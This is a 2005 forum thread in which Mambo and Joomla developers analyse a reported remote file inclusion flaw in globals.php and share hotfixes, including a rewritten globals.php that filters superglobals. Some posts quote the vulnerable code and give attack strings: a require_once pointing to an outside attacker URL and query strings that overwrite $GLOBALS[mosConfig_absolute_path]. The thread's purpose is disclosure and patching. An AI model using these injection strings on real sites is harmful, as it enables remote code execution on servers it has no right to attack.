Mambo remote code execution (also affects Joomla)

[Enibevoli]

See http://www.derkeiler.com/Mailing-Lists/ ... /0535.html

I've read comments from more literate PHP programmers than myself that Joomla 1.0.3 is vulnerable, too.

A first fix has been posted here (warning: I don't know if this code is "safe"): http://nopaste.php-q.net/172937

[de]

Hmm... but configuration.php is included after globals.php... I don't see the security hole (maybe I am blind?)

[CubaLibre]

I already informed stingrey about the security issue and the possible fixes (there is another one at the same site).
So I expect we will hear from the core team very soon, telling us if joomla is affected or not and if so, how to fix this.

Greets,
Kurt

[TheMuffinMan]

here is the hotfix (is the globals.php-off also vulnerable?)

http://nopaste.php-q.net/172945

or if you get in "Cannot modify headers" trouble try this one:

http://nopaste.php-q.net/172937


you may delete the first lines of code, since these are relevant for mambo.
leaving them shouldn't be a problem (I hope)

[de]

Can anyone point me to the issue... this is from the index.php (Mambo 4.5.1a and Joomla 1.0.3):

Code: Select all

include_once( 'globals.php' );
require_once( 'configuration.php' );

globals.php may cause the global variable $mosConfig_absolute_path (like any other) to be set according to the request variables... then configuration.php is included and overwrites that value anyway... where is the security hole? If it were the oposite order I'd understand it.

Btw. globals.php-off is not "vulnarable" because it does the oposite... would remove global variables if they are a request variable as well. (so it could remove $mosConfig_absolute_path but not set it... but also here the configuration.php is included after globals.php)

Maybe someone just thought there is a risk by just looking at it?

In either case I think it would be more appropriate informing the Core team and not the public for true holes. (Someone could use that information to hack not updated servers)

[TheMuffinMan]

where the security hole is is a good question, I just blocked the $GLOBALS[$key] thinggy if a "mosConfig_absolute_path" string is incoming.

however, I'm developing some stuff for mambo/joomla! for about 3 months now and I still wonder why such curious things like the ones in globals.php are built in? (putting some keys/vals without checking into $GLOBALS)

maybe there should be a real code cleaning project be opened soon?

[TheMuffinMan]

ah ok, i think I got it,

the variable $mosConfig_absolute_path in configuration.php is _not_overwritten since there is no extract() happening.
so if you use $GLOBALS["mosConfig_absolute_path "] somewhere in mambo/joomla, its value can be really overwritten.

on place for overwriting could be:

\administrator\components\com_templates\admin.templates.php (line 189)

require_once( $GLOBALS['mosConfig_absolute_path'] . '/administrator/includes/pageNavigation.php' );

easily overwrite with:

require_once( 'http://www.scriptkiddy.org/administrato ... gation.php' );


I guess, a lot of other things can be overwritten, too.

I believe the core team will come to the conclusion to better fix it

[de]

however, I'm developing some stuff for mambo/joomla! for about 3 months now and I still wonder why such curious things like the ones in globals.php are built in? (putting some keys/vals without checking into $GLOBALS)

There is not so much wrong about it... it emulates the php configuration (which would not check either). By myself I would prefer it to off and if you look at http://help.joomla.org/ "Hardening Joomla!":

Mambo and Joomla! by default emulate a PHP setting called register_globals = on.  This is generally considered to be an undesirable condition in modern web application design.  The preferred setting for production sites is register_globals = off.  While not a cure-all, it does prevent some forms of malicious attack due to bugs or poor programming practices.

To emulate this setting in Joomla!, rename globals.php to globals.php-on and then rename globals.php-off to globals.php.

However, we make no guarantee that all custom addons will still work correctly as the author may have been relying on the fact that register_globals was set to On.

the variable $mosConfig_absolute_path in configuration.php is _not_overwritten since there is no extract() happening.
so if you use $GLOBALS["mosConfig_absolute_path "] somewhere in mambo/joomla, its value can be really overwritten.

The configuration.php is included when beeing in the global variable scope (it is not within a function)... so it refers to the same variable.

The following are equal:

Code: Select all

$GLOBALS['mosConfig_absolute_path'] = 'abc';

Code: Select all

global $mosConfig_absolute_path;
$mosConfig_absolute_path = 'abc';

(the global statement is not required when beeing in a global variable scope anyway)

[TheMuffinMan]

The configuration.php is included when beeing in the global variable scope (it is not within a function)... so it refers to the same variable.

aaah, ok, didn't expect $GLOBALS indices pointing to their corresponding variables.

so, I'm taking back everything...

but, maybe its really just a hoax, trying to keep my eyes a little bit closer on it.

[TheMuffinMan]

ok, I think this is a hoax.

it seems the poster on full-disclosure thought the get/post variables would be given straigt into globals array (as I did)

Date: Wed, 16 Nov 2005 16:44:28 +0100
To: [email protected]



a vulnerability exist in globals.php when register_globals is off and allow
remote code inclusion
this a GLOBALS overwrite
in components/com_content/content.html.php
there is the line:
require_once( $GLOBALS['mosConfig_absolute_path'] .
'/includes/HTML_toolbar.php' );

ok

da globals.php:
if (!ini_get('register_globals')) {
while(list($key,$value)=each($_FILES)) $GLOBALS[$key]=$value;
while(list($key,$value)=each($_ENV)) $GLOBALS[$key]=$value;
while(list($key,$value)=each($_GET)) $GLOBALS[$key]=$value;
while(list($key,$value)=each($_POST)) $GLOBALS[$key]=$value;
while(list($key,$value)=each($_COOKIE)) $GLOBALS[$key]=$value;
while(list($key,$value)=each($_SERVER)) $GLOBALS[$key]=$value;
while(list($key,$value)=@each($_SESSION)) $GLOBALS[$key]=$value;
foreach($_FILES as $key => $value){
$GLOBALS[$key]=$_FILES[$key]['tmp_name'];
foreach($value as $ext => $value2){
$key2 = $key . '_' . $ext;
$GLOBALS[$key2] = $value2;
}
}
}

da fake protect in mambo.php:

if (in_array( 'globals', array_keys( array_change_key_case( $_REQUEST,
CASE_LOWER ) ) ) ) {
die( 'Fatal error. Global variable hack attempted.' );
}
if (in_array( '_post', array_keys( array_change_key_case( $_REQUEST,
CASE_LOWER ) ) ) ) {
die( 'Fatal error. Post variable hack attempted.' );
}
poc: http://enviede.wistee-heb.fr/index.php?cat=poc
[email protected]

[acepp]

So is there or isnt there a security issue here?

[soeren]

Hello,

it IS a security issue and a VERY BIG one.
I tested the exploit query string against a Mambo 4.5.2.3 site and it wanted to include a remote PHP file (here: HTML_Toolbar.php) and execute it locally.
I'd warn anyone just to laugh about that or thinking it's a hoax. It is NOT.
Every installation of Mambo 4.5.2.3 needs to be fixed, otherwise it's seriously vulnerable.

Joomla seems NOT to be affected and just prints "Hacking attempt..." on the screen when using the same exploit query string.

We need a fix for this!

ciao, Soeren

[acepp]

im using Joomla! 1.0.3, so i guess im safe... right? 
if it doesnt affect Joomla, then it would have to be brought to the attention of the Mambo Development Team and they would have to find a fix.

[sc00zy]

Maybe someone from the coreteam can give more information on this issue? Not that I don't believe you soeren

[acepp]

yes i havent heard anything formal from any of the Joomla! development team.
it would be great if it can be clarified.

[abusado]

There is a Big Security issue here.. and i already saw in zone-h that mamboserver had already been tagged

as of now i take my site under maitenance and redirect my users to another host that says im under maintenance until joomla releases some patch for it whew,.,.

[de]

it IS a security issue and a VERY BIG one.
I tested the exploit query string against a Mambo 4.5.2.3 site and it wanted to include a remote PHP file (here: HTML_Toolbar.php) and execute it locally.
I'd warn anyone just to laugh about that or thinking it's a hoax. It is NOT.
Every installation of Mambo 4.5.2.3 needs to be fixed, otherwise it's seriously vulnerable.

What did you do to test it?
I opened http://host/index.php?mosConfig_absolute_path=abc and did not get any error. Maybe you are using an additional hack?
Also including a file like include('http://remotehost/file.php'); does execute a remote script but NOT locally... it would just insert the output of the remote script into the output of the (local if you want) request.

[de]

Ok, I finally got it... the hole is not that it would overwrite $mosConfig_absolute_path, this is merely an effect... it is overwriting the GLOBALS array itself. So something like http://host/index.php?GLOBALS[mosConfig ... _path]=xyz will cause a problem... actually already http://host/index.php?GLOBALS[0 ]=xyz would cause a problem as well.
My test:
- Mambo 4.5.1a: error appears ("hole" effective)
- Mambo 4.5.2.3 and Joomla 1.0.3: Message "Fatal error. Global variable hack attempted." appears.

So I believe there is no fix needed for latest versions of each... however... so far I see you are able to exploit it when beeing on the same host. If you are not it may not be that easy to explot it (but the whole globals stuff would not work correctly anymore so I don't know).

[soeren]

Please note, that the exploit is not an exploit when the machine is running PHP >= 4.41 or 5.0.4.

When you have
- Mambo < 4.5.2.3
- register_globals=Off
- PHP < 4.4.1 or 5.0.4

your site is vulnerable.

ciao, Soeren

[de]

With the URL which Soeren sent me by PM I could see still an error in 4.5.2.3 because another super global array is overwritten as well.
In Joomla the problem seem not to appear because the content.html.php does not include the file there (but the problem could appear somewhere else).

Anyhow... the problem is not $mosConfig_absolute_path nor is it how HTML_toolbar.php is included. While by myself I prefer to use the global statement and access global variables like regular variables it is completely correct to use $GLOBALS instead. The problem is that due to &GLOBALS= the GLOBALS super global array is overwritten. And the "Global variable hack attempted" check can be tricked by a similiar approach (this is maybe not good for public).

The "solution" in http://nopaste.php-q.net/172945 is not really a fix... while it "solves" an issue for "mosConfig_absolute_path" the same problem stays for other variables... instead it should prevent super globals to get overwritten... those are for example: $GLOBALS, $_REQUEST, $_SESSION.

A quick fix is very simple: have an empty globals.php (or remove the include).
Scripts that rely on register globals may be vulnerable anyway and others should not care. When having the PHP setting register_globals=On PHP should make sure that super globals get not overwritten.
(The other fix would be to prevent those other variables to get overwritten)

The globals-off.php may cause problems as well by causing super globals to get removed but it should not be possible to add certain values.

And again... when a file is included that contains "http://" (or another protocol) it is not executed within the same PHP context but is treated as a separate HTTP request and the output is included.

I hope that helps... and I am glad if someone corrects me.


Edit: ... and btw... if the following part were in the beginning of globals.php instead of in mambo.php/joomla.php that would help as well:

Code: Select all

if (in_array( 'globals', array_keys( array_change_key_case( $_REQUEST, CASE_LOWER ) ) ) ) {
	die( 'Fatal error.  Global variable hack attempted.' );
}
if (in_array( '_post', array_keys( array_change_key_case( $_REQUEST, CASE_LOWER ) ) ) ) {
	die( 'Fatal error.  Post variable hack attempted.' );
}

[friesengeist]

And again... when a file is included that contains "http://" (or another protocol) it is not executed within the same PHP context but is treated as a separate HTTP request and the output is included.

You're right about that. However, keep in mind that someone could have configured his webserver to send php-files asis, meaning as unparsed textfiles.. Your skript then includes an executable php-file, and the attacker could have any code he wants executed by your skript on your server!

[de]

You're right about that. However, keep in mind that someone could have configured his webserver to send php-files asis, meaning as unparsed textfiles.. Your skript then includes an executable php-file, and the attacker could have any code he wants executed by your skript on your server!

Ok, true... I assumed that PHP does not parse the output... but I see I was wrong about that assumption.

[masterchief]

When you have
- Mambo < 4.5.2.3
- register_globals=Off
- PHP < 4.4.1 or 5.0.4

If anyone can replicate this exploit on an older verison of PHP let us know.  I've had a good look but can't see any trouble.

Note in Joomla 1.1 we will be switching the globals.php to the off emulation mode as a default.

[de]

If anyone can replicate this exploit on an older verison of PHP let us know.  I've had a good look but can't see any trouble.

Code: Select all

Send report
User 'masterchief' has blocked your personal message.

I'd prefer to not make the full details public ;-)

[masterchief]

Sorry, I do have PM's turned off (the number was just getting rediculous).  The mail link should be ok though.

[friesengeist]

First of all: there is a big security threat. I could confirm that with $ambo 4.5.2.3 and the current Joomla trunk version (1109). It is possible - using the right URL - to have your site include and execute a remote script! soeren is right, but Joomla is also affected.

Took me some time to locate the bug, though. As "de" states, configuration.php is loaded after globals.php. What I completely overlooked is this: includes/sef.php also registers the globals once again! So if you have SEF turned on, the two earlier fixes in this thread won't help.

As a quick and dirty fix, change includes.sef.php, around line 160, from

Code: Select all

	// Extract to globals
	while(list($key,$value)=each($_GET)) $GLOBALS[$key]=$value;
	// Don't allow config vars to be passed as global
	include( "configuration.php" );

to

Code: Select all

	// Extract to globals
	while(list($key,$value)=each($_GET)) $GLOBALS[$key]=$value;
	// Don't allow config vars to be passed as global
	include( "configuration.php" );
	$GLOBALS['mosConfig_absolute_path'] = $mosConfig_absolute_path;

[friesengeist]

here is the hotfix (is the globals.php-off also vulnerable?)
http://nopaste.php-q.net/172945
or if you get in "Cannot modify headers" trouble try this one:
http://nopaste.php-q.net/172937

These hotfixes are both not safe!


In Mambo (only tested with 4.5.2.3), or in Joomla (only tested with the SVN Branch 1.0 at revision 1109) change

• includes/sef.php as stated in my previous post
• index.php and index2.php as follows:

Code: Select all

include_once ('globals.php');
require_once ('configuration.php');

to

Code: Select all

include_once ('globals.php');
require_once ('configuration.php');
$GLOBALS['mosConfig_absolute_path'] = $mosConfig_absolute_path;

Seems, like there is a better way coming up in Joomla 1.0.4 though, so this is just a quick workaround.

[de]

"Resetting" $mosConfig_absolute_path would assume that this is the only variable which could cause harm... but I believe this is like giving the symptom a cure :-)

Anyhow... I thought it might be easier if I give a complete "fix" (at least I believe it is):

Code: Select all

<?php
if (!ini_get('register_globals')) {
	global $superGlobals;
	$superGlobals	= array('GLOBALS', '_SERVER', '_GET', '_POST', '_COOKIE', '_FILES', '_ENV', '_REQUEST', '_SESSION');
	
	function registerGlobal($key, $value) {
		global $superGlobals;
		if (!in_array(strtoupper($key), $superGlobals)) {
			$GLOBALS[$key]	= $value;
		}
	}
	
	function registerGlobalArray($array) {
		global $superGlobals;
		foreach($array as $key => $value) {
			if (!in_array(strtoupper($key), $superGlobals)) {
				$GLOBALS[$key]	= $value;
			}
		}
	}
	
	registerGlobalArray($_FILES);
	registerGlobalArray($_ENV);
	registerGlobalArray($_GET);
	registerGlobalArray($_POST);
	registerGlobalArray($_COOKIE);
	registerGlobalArray($_SERVER);
	
	if (isset($_SESSION)) {
		registerGlobalArray($_SESSION);
	}	
	
	foreach ($_FILES as $key => $value){
		registerGlobal($key, $_FILES[$key]['tmp_name']);
		foreach ($value as $ext => $value2){
			$key2 = $key . '_' . $ext;
			registerGlobal($key2, $value2);
		}
	}
}
?>

(this would be the new globals.php)

But as mentioned ealier... having an empty globals.php should do as well (it then just uses the PHP setting... the fastest anyway).


Edit: ohh and the other spotted area in sef.php...
The following line (167):

Code: Select all

	while(list($key,$value)=each($_GET)) $GLOBALS[$key]=$value;

should be replaced by:

Code: Select all

	registerGlobalArray($_GET);

[friesengeist]

"Resetting" $mosConfig_absolute_path would assume that this is the only variable which could cause harm... but I believe this is like giving the symptom a cure :-)

I totally agree on this. As I said, it's only a quick and dirty fix.

Anyhow... I thought it might be easier if I give a complete "fix" (at least I believe it is):
[...]
(this would be the new globals.php)

Looks good. The problem is, that the GLOBALS are overwritten once again in includes/sef.php.

Code: Select all

	// Extract to globals
	while(list($key,$value)=each($_GET)) $GLOBALS[$key]=$value;
	// Don't allow config vars to be passed as global
	include( "configuration.php" );

This makes your nice globals.php useless if you have SEF enabled. The included configuration.php is also useless at this point as we are in a function context and the $mosConfig_* variables are not exported to global scope. So if you would include your globals.php once again in sef.php instead of the "while(list($key,$value)=each($_GET)) $GLOBALS[$key]=$value;", you should be fine (maybe we don't even need that line, haven't thought of it yet).
Edit: Didn't see your edit early enough

But as mentioned ealier... having an empty globals.php should do as well (it then just uses the PHP setting... the fastest anyway).

True It's the fastest and safest (with register_globals=off in php.ini).

By the way, in the upcoming Joomla! 1.1, register_globals=off is emulated by the globals.php by default.

[de]

The included configuration.php is also useless at this point as we are in a function context and the $mosConfig_* variables are not exported to global scope.

Hmm... you almost got me... but in my sef.php it seem not to be inside a function? But also another line number... and in the current version which I checked out this second I do not even see the sef.php.

If it is really inside a function one could write something like this before calling "registerGlobalArray":

Code: Select all

global $mosConfig_absolute_path, $mosConfig_cachepath, $mosConfig_host, $mosConfig_secret; // and whatever else could be relevant

Alternatively the function registerGlobalArray could be modified:

Code: Select all

<?php
	function registerGlobalArray($array) {
		global $superGlobals;
		foreach($array as $key => $value) {
			if ((!in_array(strtoupper($key), $superGlobals)) && (strpos($key, 'mosConfig_') !== 0)){
				$GLOBALS[$key]	= $value;
			}
		}
	}
?>

(not tested) I would not really suggest this though as it may suggest a security which is not there (for example when using the built in register globals).

That sef.php always "registers" those GET variables is an error somehow anyway as it does not consider whether the original globals.php was included or globals.php-off.
Note: if you are using an addition SEF component another sef.php gets included. (at least until they are replaced by Bots)

OT: Btw. are you living in another timezone?